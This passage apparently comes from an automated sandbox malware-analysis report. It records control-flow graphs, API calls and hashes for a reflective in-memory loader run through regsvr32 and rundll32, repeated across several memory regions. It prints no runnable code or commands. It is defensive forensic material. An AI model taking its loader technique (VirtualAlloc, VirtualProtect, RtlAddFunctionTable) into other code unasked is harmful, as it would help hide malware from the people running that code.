                                                                        • Opcode Fuzzy Hash: 6b70401809f5a4e380f0709831ac7f15e8a4fc17e6b3291d5bd7555e7f7de519
                                                                        • Instruction Fuzzy Hash: 8852F7B1A047888BDBB8CF64C8997DD7BF0FB48318F90421DEA0A9B291DB745645CF49
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180017414 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130processCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 324 180017414-1800174df call 180001000 327 1800175e6-18001762a CreateProcessW 324->327 328 1800174e5-1800175e0 call 18002412c 324->328 328->327
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000002.00000002.479882020.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_2_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateProcess
                                                                        • String ID: L[
                                                                        • API String ID: 963392458-3786185354
                                                                        • Opcode ID: 806773b70e7ab706d630f49173ef1c4c2e45366edcb4d6d18c8755d8a62b8c06
                                                                        • Instruction ID: cebf5acbb8b78e0f6561d8b1c34a376f4b5e4f53f4d2000016dd961e58395a70
                                                                        • Opcode Fuzzy Hash: 806773b70e7ab706d630f49173ef1c4c2e45366edcb4d6d18c8755d8a62b8c06
                                                                        • Instruction Fuzzy Hash: 2351E67051CB858FE778DF18D48A79ABBE0FB88315F108A2EE49DC7255DB749884CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Execution Graph

                                                                        Execution Coverage:55.8%
                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                        Signature Coverage:0%
                                                                        Total number of Nodes:11
                                                                        Total number of Limit Nodes:0
                                                                        execution_graph 162 20500000000 163 20500000183 162->163 164 2050000043e VirtualAlloc 163->164 168 20500000462 164->168 165 20500000a7b 166 20500000531 GetNativeSystemInfo 166->165 167 2050000056d VirtualAlloc 166->167 172 2050000058b 167->172 168->165 168->166 169 20500000a00 169->165 170 20500000a56 RtlAddFunctionTable 169->170 170->165 171 205000009d9 VirtualProtect 171->172 172->169 172->171

                                                                        Callgraph

                                                                        • Executed
                                                                        • Not Executed
                                                                        • Opacity -> Relevance
                                                                        • Disassembly available
                                                                        callgraph 0 Function_0000020500000AA8 1 Function_0000020500000000 1->0

                                                                        Executed Functions

                                                                        Function 0000020500000000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 20500000000-20500000460 call 20500000aa8 * 2 VirtualAlloc 22 2050000048a-20500000494 0->22 23 20500000462-20500000466 0->23 26 2050000049a-2050000049e 22->26 27 20500000a91-20500000aa6 22->27 24 20500000468-20500000488 23->24 24->22 24->24 26->27 28 205000004a4-205000004a8 26->28 28->27 29 205000004ae-205000004b2 28->29 29->27 30 205000004b8-205000004bf 29->30 30->27 31 205000004c5-205000004d2 30->31 31->27 32 205000004d8-205000004e1 31->32 32->27 33 205000004e7-205000004f4 32->33 33->27 34 205000004fa-20500000507 33->34 35 20500000509-20500000511 34->35 36 20500000531-20500000567 GetNativeSystemInfo 34->36 37 20500000513-20500000518 35->37 36->27 38 2050000056d-20500000589 VirtualAlloc 36->38 39 2050000051a-2050000051f 37->39 40 20500000521 37->40 41 2050000058b-2050000059e 38->41 42 205000005a0-205000005ac 38->42 43 20500000523-2050000052f 39->43 40->43 41->42 44 205000005af-205000005b2 42->44 43->36 43->37 45 205000005c1-205000005db 44->45 46 205000005b4-205000005bf 44->46 48 2050000061b-20500000622 45->48 49 205000005dd-205000005e2 45->49 46->44 51 20500000628-2050000062f 48->51 52 205000006db-205000006e2 48->52 50 205000005e4-205000005ea 49->50 53 2050000060b-20500000619 50->53 54 205000005ec-20500000609 50->54 51->52 55 20500000635-20500000642 51->55 56 205000006e8-205000006f9 52->56 57 20500000864-2050000086b 52->57 53->48 53->50 54->53 54->54 55->52 60 20500000648-2050000064f 55->60 61 20500000702-20500000705 56->61 58 20500000917-20500000929 57->58 59 20500000871-2050000087f 57->59 62 20500000a07-20500000a1a 58->62 63 2050000092f-20500000937 58->63 64 2050000090e-20500000911 59->64 65 20500000654-20500000658 60->65 66 20500000707-2050000070a 61->66 67 205000006fb-205000006ff 61->67 80 20500000a1c-20500000a27 62->80 81 20500000a40-20500000a4a 62->81 69 2050000093b-2050000093f 63->69 64->58 68 20500000884-205000008a9 64->68 70 205000006c0-205000006ca 65->70 71 20500000788-2050000078e 66->71 72 2050000070c-2050000071d 66->72 67->61 97 20500000907-2050000090c 68->97 98 205000008ab-205000008b1 68->98 76 20500000945-2050000095a 69->76 77 205000009ec-205000009fa 69->77 74 2050000065a-20500000669 70->74 75 205000006cc-205000006d2 70->75 73 20500000794-205000007a2 71->73 72->73 78 2050000071f-20500000720 72->78 82 205000007a8 73->82 83 2050000085d-2050000085e 73->83 88 2050000067a-2050000067e 74->88 89 2050000066b-20500000678 74->89 75->65 84 205000006d4-205000006d5 75->84 86 2050000097b-2050000097d 76->86 87 2050000095c-2050000095e 76->87 77->69 90 20500000a00-20500000a01 77->90 91 20500000722-20500000784 78->91 93 20500000a38-20500000a3e 80->93 95 20500000a7b-20500000a8e 81->95 96 20500000a4c-20500000a54 81->96 94 205000007ae-205000007d4 82->94 83->57 84->52 102 2050000097f-20500000981 86->102 103 205000009a2-205000009a4 86->103 99 2050000096e-20500000979 87->99 100 20500000960-2050000096c 87->100 104 2050000068c-20500000690 88->104 105 20500000680-2050000068a 88->105 101 205000006bd-205000006be 89->101 90->62 91->91 92 20500000786 91->92 92->73 93->81 112 20500000a29-20500000a35 93->112 131 20500000835-20500000839 94->131 132 205000007d6-205000007d9 94->132 95->27 96->95 113 20500000a56-20500000a79 RtlAddFunctionTable 96->113 97->64 110 205000008bb-205000008c8 98->110 111 205000008b3-205000008b9 98->111 114 205000009be-205000009bf 99->114 100->114 101->70 115 20500000989-2050000098b 102->115 116 20500000983-20500000987 102->116 108 205000009a6-205000009aa 103->108 109 205000009ac-205000009bb 103->109 106 205000006a5-205000006a9 104->106 107 20500000692-205000006a3 104->107 117 205000006b6-205000006ba 105->117 106->101 119 205000006ab-205000006b3 106->119 107->117 108->114 109->114 122 205000008ca-205000008d1 110->122 123 205000008d3-205000008e5 110->123 121 205000008ea-205000008fe 111->121 112->93 113->95 120 205000009c5-205000009cb 114->120 115->103 118 2050000098d-2050000098f 115->118 116->114 117->101 126 20500000999-205000009a0 118->126 127 20500000991-20500000997 118->127 119->117 128 205000009d9-205000009e9 VirtualProtect 120->128 129 205000009cd-205000009d3 120->129 121->97 139 20500000900-20500000905 121->139 122->122 122->123 123->121 126->120 127->114 128->77 129->128 133 2050000083b 131->133 134 20500000844-20500000850 131->134 136 205000007db-205000007e1 132->136 137 205000007e3-205000007f0 132->137 133->134 134->94 138 20500000856-20500000857 134->138 140 20500000812-2050000082c 136->140 141 205000007fb-2050000080d 137->141 142 205000007f2-205000007f9 137->142 138->83 139->98 140->131 144 2050000082e-20500000833 140->144 141->140 142->141 142->142 144->132
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000003.00000002.466931415.0000020500000000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020500000000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_3_2_20500000000_rundll32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 3b32fc7e0d24702a7a63964d957a25716c5ef0ba40ace078fabb2f660d488d09
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: 8D72C430618B488BDB59DF18C8997AEB7E1FF98305F50562DE88AC3252EB34D541CB86
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Callgraph

                                                                        • Executed
                                                                        • Not Executed
                                                                        • Opacity -> Relevance
                                                                        • Disassembly available
                                                                        callgraph 0 Function_000001B23E8F0000 1 Function_000001B23E8F0AA8 0->1

                                                                        Executed Functions

                                                                        Function 000001B23E8F0000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 1b23e8f0000-1b23e8f0460 call 1b23e8f0aa8 * 2 VirtualAlloc 22 1b23e8f048a-1b23e8f0494 0->22 23 1b23e8f0462-1b23e8f0466 0->23 26 1b23e8f0a91-1b23e8f0aa6 22->26 27 1b23e8f049a-1b23e8f049e 22->27 24 1b23e8f0468-1b23e8f0488 23->24 24->22 24->24 27->26 28 1b23e8f04a4-1b23e8f04a8 27->28 28->26 29 1b23e8f04ae-1b23e8f04b2 28->29 29->26 30 1b23e8f04b8-1b23e8f04bf 29->30 30->26 31 1b23e8f04c5-1b23e8f04d2 30->31 31->26 32 1b23e8f04d8-1b23e8f04e1 31->32 32->26 33 1b23e8f04e7-1b23e8f04f4 32->33 33->26 34 1b23e8f04fa-1b23e8f0507 33->34 35 1b23e8f0531-1b23e8f0567 GetNativeSystemInfo 34->35 36 1b23e8f0509-1b23e8f0511 34->36 35->26 38 1b23e8f056d-1b23e8f0589 VirtualAlloc 35->38 37 1b23e8f0513-1b23e8f0518 36->37 39 1b23e8f0521 37->39 40 1b23e8f051a-1b23e8f051f 37->40 41 1b23e8f05a0-1b23e8f05ac 38->41 42 1b23e8f058b-1b23e8f059e 38->42 43 1b23e8f0523-1b23e8f052f 39->43 40->43 44 1b23e8f05af-1b23e8f05b2 41->44 42->41 43->35 43->37 46 1b23e8f05c1-1b23e8f05db 44->46 47 1b23e8f05b4-1b23e8f05bf 44->47 48 1b23e8f05dd-1b23e8f05e2 46->48 49 1b23e8f061b-1b23e8f0622 46->49 47->44 50 1b23e8f05e4-1b23e8f05ea 48->50 51 1b23e8f06db-1b23e8f06e2 49->51 52 1b23e8f0628-1b23e8f062f 49->52 53 1b23e8f05ec-1b23e8f0609 50->53 54 1b23e8f060b-1b23e8f0619 50->54 56 1b23e8f06e8-1b23e8f06f9 51->56 57 1b23e8f0864-1b23e8f086b 51->57 52->51 55 1b23e8f0635-1b23e8f0642 52->55 53->53 53->54 54->49 54->50 55->51 60 1b23e8f0648-1b23e8f064f 55->60 61 1b23e8f0702-1b23e8f0705 56->61 58 1b23e8f0871-1b23e8f087f 57->58 59 1b23e8f0917-1b23e8f0929 57->59 64 1b23e8f090e-1b23e8f0911 58->64 62 1b23e8f092f-1b23e8f0937 59->62 63 1b23e8f0a07-1b23e8f0a1a 59->63 65 1b23e8f0654-1b23e8f0658 60->65 66 1b23e8f06fb-1b23e8f06ff 61->66 67 1b23e8f0707-1b23e8f070a 61->67 69 1b23e8f093b-1b23e8f093f 62->69 90 1b23e8f0a40-1b23e8f0a4a 63->90 91 1b23e8f0a1c-1b23e8f0a27 63->91 64->59 68 1b23e8f0884-1b23e8f08a9 64->68 70 1b23e8f06c0-1b23e8f06ca 65->70 66->61 71 1b23e8f070c-1b23e8f071d 67->71 72 1b23e8f0788-1b23e8f078e 67->72 96 1b23e8f08ab-1b23e8f08b1 68->96 97 1b23e8f0907-1b23e8f090c 68->97 76 1b23e8f09ec-1b23e8f09fa 69->76 77 1b23e8f0945-1b23e8f095a 69->77 74 1b23e8f06cc-1b23e8f06d2 70->74 75 1b23e8f065a-1b23e8f0669 70->75 73 1b23e8f0794-1b23e8f07a2 71->73 78 1b23e8f071f-1b23e8f0720 71->78 72->73 80 1b23e8f085d-1b23e8f085e 73->80 81 1b23e8f07a8 73->81 74->65 82 1b23e8f06d4-1b23e8f06d5 74->82 86 1b23e8f066b-1b23e8f0678 75->86 87 1b23e8f067a-1b23e8f067e 75->87 76->69 88 1b23e8f0a00-1b23e8f0a01 76->88 84 1b23e8f095c-1b23e8f095e 77->84 85 1b23e8f097b-1b23e8f097d 77->85 89 1b23e8f0722-1b23e8f0784 78->89 80->57 93 1b23e8f07ae-1b23e8f07d4 81->93 82->51 98 1b23e8f0960-1b23e8f096c 84->98 99 1b23e8f096e-1b23e8f0979 84->99 101 1b23e8f097f-1b23e8f0981 85->101 102 1b23e8f09a2-1b23e8f09a4 85->102 100 1b23e8f06bd-1b23e8f06be 86->100 103 1b23e8f0680-1b23e8f068a 87->103 104 1b23e8f068c-1b23e8f0690 87->104 88->63 89->89 105 1b23e8f0786 89->105 94 1b23e8f0a4c-1b23e8f0a54 90->94 95 1b23e8f0a7b-1b23e8f0a8e 90->95 92 1b23e8f0a38-1b23e8f0a3e 91->92 92->90 106 1b23e8f0a29-1b23e8f0a35 92->106 127 1b23e8f07d6-1b23e8f07d9 93->127 128 1b23e8f0835-1b23e8f0839 93->128 94->95 107 1b23e8f0a56-1b23e8f0a79 RtlAddFunctionTable 94->107 95->26 116 1b23e8f08bb-1b23e8f08c8 96->116 117 1b23e8f08b3-1b23e8f08b9 96->117 97->64 108 1b23e8f09be-1b23e8f09bf 98->108 99->108 100->70 109 1b23e8f0989-1b23e8f098b 101->109 110 1b23e8f0983-1b23e8f0987 101->110 114 1b23e8f09ac-1b23e8f09bb 102->114 115 1b23e8f09a6-1b23e8f09aa 102->115 111 1b23e8f06b6-1b23e8f06ba 103->111 112 1b23e8f06a5-1b23e8f06a9 104->112 113 1b23e8f0692-1b23e8f06a3 104->113 105->73 106->92 107->95 122 1b23e8f09c5-1b23e8f09cb 108->122 109->102 120 1b23e8f098d-1b23e8f098f 109->120 110->108 111->100 112->100 121 1b23e8f06ab-1b23e8f06b3 112->121 113->111 114->108 115->108 124 1b23e8f08ca-1b23e8f08d1 116->124 125 1b23e8f08d3-1b23e8f08e5 116->125 123 1b23e8f08ea-1b23e8f08fe 117->123 129 1b23e8f0991-1b23e8f0997 120->129 130 1b23e8f0999-1b23e8f09a0 120->130 121->111 131 1b23e8f09cd-1b23e8f09d3 122->131 132 1b23e8f09d9-1b23e8f09e9 VirtualProtect 122->132 123->97 138 1b23e8f0900-1b23e8f0905 123->138 124->124 124->125 125->123 134 1b23e8f07db-1b23e8f07e1 127->134 135 1b23e8f07e3-1b23e8f07f0 127->135 136 1b23e8f083b 128->136 137 1b23e8f0844-1b23e8f0850 128->137 129->108 130->122 131->132 132->76 139 1b23e8f0812-1b23e8f082c 134->139 140 1b23e8f07fb-1b23e8f080d 135->140 141 1b23e8f07f2-1b23e8f07f9 135->141 136->137 137->93 142 1b23e8f0856-1b23e8f0857 137->142 138->96 139->128 144 1b23e8f082e-1b23e8f0833 139->144 140->139 141->140 141->141 142->80 144->127
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000004.00000002.466135429.000001B23E8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001B23E8F0000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_4_2_1b23e8f0000_rundll32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 77ce95ba22e0dcada4f9fe72f693dbb45a4ac03f65a4e06aaf11b6630e9d8120
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: 3E72C530A18B488FDB59DF18D8457E9B7E1FB58305F10462DE88AD3261DB38D54BCB86
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Callgraph

                                                                        • Executed
                                                                        • Not Executed
                                                                        • Opacity -> Relevance
                                                                        • Disassembly available
                                                                        callgraph 0 Function_000001EC47B90AA8 1 Function_000001EC47B90000 1->0

                                                                        Executed Functions

                                                                        Function 000001EC47B90000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 1ec47b90000-1ec47b90460 call 1ec47b90aa8 * 2 VirtualAlloc 22 1ec47b9048a-1ec47b90494 0->22 23 1ec47b90462-1ec47b90466 0->23 26 1ec47b9049a-1ec47b9049e 22->26 27 1ec47b90a91-1ec47b90aa6 22->27 24 1ec47b90468-1ec47b90488 23->24 24->22 24->24 26->27 28 1ec47b904a4-1ec47b904a8 26->28 28->27 29 1ec47b904ae-1ec47b904b2 28->29 29->27 30 1ec47b904b8-1ec47b904bf 29->30 30->27 31 1ec47b904c5-1ec47b904d2 30->31 31->27 32 1ec47b904d8-1ec47b904e1 31->32 32->27 33 1ec47b904e7-1ec47b904f4 32->33 33->27 34 1ec47b904fa-1ec47b90507 33->34 35 1ec47b90509-1ec47b90511 34->35 36 1ec47b90531-1ec47b90567 GetNativeSystemInfo 34->36 37 1ec47b90513-1ec47b90518 35->37 36->27 38 1ec47b9056d-1ec47b90589 VirtualAlloc 36->38 39 1ec47b9051a-1ec47b9051f 37->39 40 1ec47b90521 37->40 41 1ec47b9058b-1ec47b9059e 38->41 42 1ec47b905a0-1ec47b905ac 38->42 43 1ec47b90523-1ec47b9052f 39->43 40->43 41->42 44 1ec47b905af-1ec47b905b2 42->44 43->36 43->37 45 1ec47b905b4-1ec47b905bf 44->45 46 1ec47b905c1-1ec47b905db 44->46 45->44 48 1ec47b9061b-1ec47b90622 46->48 49 1ec47b905dd-1ec47b905e2 46->49 51 1ec47b90628-1ec47b9062f 48->51 52 1ec47b906db-1ec47b906e2 48->52 50 1ec47b905e4-1ec47b905ea 49->50 53 1ec47b9060b-1ec47b90619 50->53 54 1ec47b905ec-1ec47b90609 50->54 51->52 55 1ec47b90635-1ec47b90642 51->55 56 1ec47b90864-1ec47b9086b 52->56 57 1ec47b906e8-1ec47b906f9 52->57 53->48 53->50 54->53 54->54 55->52 60 1ec47b90648-1ec47b9064f 55->60 58 1ec47b90917-1ec47b90929 56->58 59 1ec47b90871-1ec47b9087f 56->59 61 1ec47b90702-1ec47b90705 57->61 62 1ec47b90a07-1ec47b90a1a 58->62 63 1ec47b9092f-1ec47b90937 58->63 64 1ec47b9090e-1ec47b90911 59->64 65 1ec47b90654-1ec47b90658 60->65 66 1ec47b90707-1ec47b9070a 61->66 67 1ec47b906fb-1ec47b906ff 61->67 80 1ec47b90a1c-1ec47b90a27 62->80 81 1ec47b90a40-1ec47b90a4a 62->81 69 1ec47b9093b-1ec47b9093f 63->69 64->58 68 1ec47b90884-1ec47b908a9 64->68 70 1ec47b906c0-1ec47b906ca 65->70 71 1ec47b90788-1ec47b9078e 66->71 72 1ec47b9070c-1ec47b9071d 66->72 67->61 97 1ec47b90907-1ec47b9090c 68->97 98 1ec47b908ab-1ec47b908b1 68->98 76 1ec47b90945-1ec47b9095a 69->76 77 1ec47b909ec-1ec47b909fa 69->77 74 1ec47b9065a-1ec47b90669 70->74 75 1ec47b906cc-1ec47b906d2 70->75 73 1ec47b90794-1ec47b907a2 71->73 72->73 78 1ec47b9071f-1ec47b90720 72->78 82 1ec47b907a8 73->82 83 1ec47b9085d-1ec47b9085e 73->83 88 1ec47b9066b-1ec47b90678 74->88 89 1ec47b9067a-1ec47b9067e 74->89 75->65 84 1ec47b906d4-1ec47b906d5 75->84 86 1ec47b9097b-1ec47b9097d 76->86 87 1ec47b9095c-1ec47b9095e 76->87 77->69 90 1ec47b90a00-1ec47b90a01 77->90 91 1ec47b90722-1ec47b90784 78->91 93 1ec47b90a38-1ec47b90a3e 80->93 95 1ec47b90a7b-1ec47b90a8e 81->95 96 1ec47b90a4c-1ec47b90a54 81->96 94 1ec47b907ae-1ec47b907d4 82->94 83->56 84->52 102 1ec47b9097f-1ec47b90981 86->102 103 1ec47b909a2-1ec47b909a4 86->103 99 1ec47b9096e-1ec47b90979 87->99 100 1ec47b90960-1ec47b9096c 87->100 101 1ec47b906bd-1ec47b906be 88->101 104 1ec47b9068c-1ec47b90690 89->104 105 1ec47b90680-1ec47b9068a 89->105 90->62 91->91 92 1ec47b90786 91->92 92->73 93->81 112 1ec47b90a29-1ec47b90a35 93->112 131 1ec47b90835-1ec47b90839 94->131 132 1ec47b907d6-1ec47b907d9 94->132 95->27 96->95 113 1ec47b90a56-1ec47b90a79 RtlAddFunctionTable 96->113 97->64 110 1ec47b908bb-1ec47b908c8 98->110 111 1ec47b908b3-1ec47b908b9 98->111 114 1ec47b909be-1ec47b909bf 99->114 100->114 101->70 115 1ec47b90989-1ec47b9098b 102->115 116 1ec47b90983-1ec47b90987 102->116 108 1ec47b909a6-1ec47b909aa 103->108 109 1ec47b909ac-1ec47b909bb 103->109 106 1ec47b906a5-1ec47b906a9 104->106 107 1ec47b90692-1ec47b906a3 104->107 117 1ec47b906b6-1ec47b906ba 105->117 106->101 119 1ec47b906ab-1ec47b906b3 106->119 107->117 108->114 109->114 122 1ec47b908ca-1ec47b908d1 110->122 123 1ec47b908d3-1ec47b908e5 110->123 121 1ec47b908ea-1ec47b908fe 111->121 112->93 113->95 120 1ec47b909c5-1ec47b909cb 114->120 115->103 118 1ec47b9098d-1ec47b9098f 115->118 116->114 117->101 126 1ec47b90999-1ec47b909a0 118->126 127 1ec47b90991-1ec47b90997 118->127 119->117 128 1ec47b909d9-1ec47b909e9 VirtualProtect 120->128 129 1ec47b909cd-1ec47b909d3 120->129 121->97 139 1ec47b90900-1ec47b90905 121->139 122->122 122->123 123->121 126->120 127->114 128->77 129->128 133 1ec47b90844-1ec47b90850 131->133 134 1ec47b9083b 131->134 136 1ec47b907db-1ec47b907e1 132->136 137 1ec47b907e3-1ec47b907f0 132->137 133->94 138 1ec47b90856-1ec47b90857 133->138 134->133 140 1ec47b90812-1ec47b9082c 136->140 141 1ec47b907fb-1ec47b9080d 137->141 142 1ec47b907f2-1ec47b907f9 137->142 138->83 139->98 140->131 144 1ec47b9082e-1ec47b90833 140->144 141->140 142->141 142->142 144->132
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000005.00000002.477694271.000001EC47B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001EC47B90000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_5_2_1ec47b90000_rundll32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 8d7b96dffb99336e5ceffa636a550a00e1d5366fe77362962a3d0f9cb64309b5
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: 0D72D070618A898BDB69DF18C8957FDB7E1FB98304F10462DE89AC3291DB34D942CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Callgraph

                                                                        • Executed
                                                                        • Not Executed
                                                                        • Opacity -> Relevance
                                                                        • Disassembly available
                                                                        callgraph 0 Function_0000021DBE810000 1 Function_0000021DBE810AA8 0->1

                                                                        Executed Functions

                                                                        Function 0000021DBE810000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 21dbe810000-21dbe810460 call 21dbe810aa8 * 2 VirtualAlloc 22 21dbe810462-21dbe810466 0->22 23 21dbe81048a-21dbe810494 0->23 24 21dbe810468-21dbe810488 22->24 26 21dbe810a91-21dbe810aa6 23->26 27 21dbe81049a-21dbe81049e 23->27 24->23 24->24 27->26 28 21dbe8104a4-21dbe8104a8 27->28 28->26 29 21dbe8104ae-21dbe8104b2 28->29 29->26 30 21dbe8104b8-21dbe8104bf 29->30 30->26 31 21dbe8104c5-21dbe8104d2 30->31 31->26 32 21dbe8104d8-21dbe8104e1 31->32 32->26 33 21dbe8104e7-21dbe8104f4 32->33 33->26 34 21dbe8104fa-21dbe810507 33->34 35 21dbe810531-21dbe810567 GetNativeSystemInfo 34->35 36 21dbe810509-21dbe810511 34->36 35->26 38 21dbe81056d-21dbe810589 VirtualAlloc 35->38 37 21dbe810513-21dbe810518 36->37 39 21dbe810521 37->39 40 21dbe81051a-21dbe81051f 37->40 41 21dbe8105a0-21dbe8105ac 38->41 42 21dbe81058b-21dbe81059e 38->42 43 21dbe810523-21dbe81052f 39->43 40->43 44 21dbe8105af-21dbe8105b2 41->44 42->41 43->35 43->37 46 21dbe8105c1-21dbe8105db 44->46 47 21dbe8105b4-21dbe8105bf 44->47 48 21dbe8105dd-21dbe8105e2 46->48 49 21dbe81061b-21dbe810622 46->49 47->44 50 21dbe8105e4-21dbe8105ea 48->50 51 21dbe810628-21dbe81062f 49->51 52 21dbe8106db-21dbe8106e2 49->52 53 21dbe8105ec-21dbe810609 50->53 54 21dbe81060b-21dbe810619 50->54 51->52 55 21dbe810635-21dbe810642 51->55 56 21dbe810864-21dbe81086b 52->56 57 21dbe8106e8-21dbe8106f9 52->57 53->53 53->54 54->49 54->50 55->52 60 21dbe810648-21dbe81064f 55->60 58 21dbe810871-21dbe81087f 56->58 59 21dbe810917-21dbe810929 56->59 61 21dbe810702-21dbe810705 57->61 64 21dbe81090e-21dbe810911 58->64 62 21dbe81092f-21dbe810937 59->62 63 21dbe810a07-21dbe810a1a 59->63 65 21dbe810654-21dbe810658 60->65 66 21dbe810707-21dbe81070a 61->66 67 21dbe8106fb-21dbe8106ff 61->67 69 21dbe81093b-21dbe81093f 62->69 90 21dbe810a40-21dbe810a4a 63->90 91 21dbe810a1c-21dbe810a27 63->91 64->59 68 21dbe810884-21dbe8108a9 64->68 70 21dbe8106c0-21dbe8106ca 65->70 71 21dbe810788-21dbe81078e 66->71 72 21dbe81070c-21dbe81071d 66->72 67->61 96 21dbe810907-21dbe81090c 68->96 97 21dbe8108ab-21dbe8108b1 68->97 76 21dbe810945-21dbe81095a 69->76 77 21dbe8109ec-21dbe8109fa 69->77 74 21dbe81065a-21dbe810669 70->74 75 21dbe8106cc-21dbe8106d2 70->75 73 21dbe810794-21dbe8107a2 71->73 72->73 78 21dbe81071f-21dbe810720 72->78 80 21dbe81085d-21dbe81085e 73->80 81 21dbe8107a8 73->81 86 21dbe81067a-21dbe81067e 74->86 87 21dbe81066b-21dbe810678 74->87 75->65 82 21dbe8106d4-21dbe8106d5 75->82 84 21dbe81095c-21dbe81095e 76->84 85 21dbe81097b-21dbe81097d 76->85 77->69 88 21dbe810a00-21dbe810a01 77->88 89 21dbe810722-21dbe810784 78->89 80->56 93 21dbe8107ae-21dbe8107d4 81->93 82->52 98 21dbe81096e-21dbe810979 84->98 99 21dbe810960-21dbe81096c 84->99 101 21dbe81097f-21dbe810981 85->101 102 21dbe8109a2-21dbe8109a4 85->102 103 21dbe810680-21dbe81068a 86->103 104 21dbe81068c-21dbe810690 86->104 100 21dbe8106bd-21dbe8106be 87->100 88->63 89->89 105 21dbe810786 89->105 94 21dbe810a4c-21dbe810a54 90->94 95 21dbe810a7b-21dbe810a8e 90->95 92 21dbe810a38-21dbe810a3e 91->92 92->90 106 21dbe810a29-21dbe810a35 92->106 127 21dbe8107d6-21dbe8107d9 93->127 128 21dbe810835-21dbe810839 93->128 94->95 107 21dbe810a56-21dbe810a79 RtlAddFunctionTable 94->107 95->26 96->64 116 21dbe8108b3-21dbe8108b9 97->116 117 21dbe8108bb-21dbe8108c8 97->117 108 21dbe8109be-21dbe8109bf 98->108 99->108 100->70 109 21dbe810983-21dbe810987 101->109 110 21dbe810989-21dbe81098b 101->110 114 21dbe8109a6-21dbe8109aa 102->114 115 21dbe8109ac-21dbe8109bb 102->115 111 21dbe8106b6-21dbe8106ba 103->111 112 21dbe810692-21dbe8106a3 104->112 113 21dbe8106a5-21dbe8106a9 104->113 105->73 106->92 107->95 122 21dbe8109c5-21dbe8109cb 108->122 109->108 110->102 120 21dbe81098d-21dbe81098f 110->120 111->100 112->111 113->100 121 21dbe8106ab-21dbe8106b3 113->121 114->108 115->108 123 21dbe8108ea-21dbe8108fe 116->123 124 21dbe8108d3-21dbe8108e5 117->124 125 21dbe8108ca-21dbe8108d1 117->125 129 